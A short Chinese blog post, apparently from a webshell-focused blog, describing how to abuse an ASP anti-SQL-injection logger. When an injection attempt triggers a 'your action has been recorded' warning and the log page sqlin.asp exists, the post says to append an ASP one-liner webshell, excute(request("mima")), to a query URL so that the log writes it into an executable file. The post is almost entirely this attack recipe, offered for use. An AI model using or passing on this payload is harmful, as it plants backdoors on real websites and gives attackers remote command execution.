提交’时提示ip被记录 防注入系统的利用
例如:
网址:https://www.webshell.cc/newslist.asp?id=122′
提示“你的操作已被记录!”等信息。
利用方法:https://www.webshell.cc/sqlin.asp 看是否存在,存在提交https://www.webshell.cc/newslist.asp?id=122‘excute(request("mima"))写入一句话
转载请注明来自WebShell'S Blog,本文地址:https://www.webshell.cc/730.html